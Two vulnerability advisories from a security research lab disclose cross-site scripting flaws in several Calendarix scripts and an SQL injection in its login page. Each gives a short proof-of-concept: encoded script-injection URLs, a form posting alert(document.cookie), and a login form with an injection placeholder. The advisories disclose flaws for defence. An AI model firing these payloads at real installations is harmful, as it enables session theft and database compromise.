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Vulnerability ID: HTB22974
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_calendarix.html
Product: Calendarix
Vendor: http://www.calendarix.com ( http://www.calendarix.com ) 
Vulnerable Version: 0.8.20080808
Vendor Notification: 26 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/cal_login.php" script to properly sanitize user-supplied input.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
The following PoC is available:


http://[host]/cal_login.php/%27%3E%3Cscript%3Ealert%28123%29;%3C/script%3E


The vulnerability exists due to failure in the "/cal_catview.php" script to properly sanitize user-supplied input in "gocat" variable.
The following PoC is available:


<form action="http://[host]/cal_catview.php?catop=viewcat" method="post" name="main" />
<input type="hidden" name="gocat" value="'</script><script>alert(document.cookie);</script>"/>
<input type="submit" value="submit"/>
</form>


The vulnerability exists due to failure in the "/cal_date.php" script to properly sanitize user-supplied input in "frmname" variable.
The following PoC is available:


http://[host]/cal_date.php?frmname=%3C/script%3E%3Cscript%3Ealert%28123%29;%3C/script%3E


The vulnerability exists due to failure in the "/cal_date.php" script to properly sanitize user-supplied input in "leftfooter" variable when register_globals is on.
The following PoC is available:


http://[host]/cal_footer.inc.php?leftfooter=%3Cscript%3Ealert%28123%29;%3C/script%3E


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Vulnerability ID: HTB22975
Reference: http://www.htbridge.ch/advisory/sql_injection_in_calendarix.html
Product: Calendarix
Vendor: http://www.calendarix.com ( http://www.calendarix.com ) 
Vulnerable Version: 0.8.20080808
Vendor Notification: 26 April 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "cal_login.php" script to properly sanitize user-supplied input in "login" variable when "password" variable empty. 
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://[host]/cal_login.php?op=login" method="post" name="main" />
<input type="hidden" name="login" value="'SQL_CODE_HERE"/>
<input type="hidden" name="password" value=""/>
<input type="submit" value="submit"/>
</form>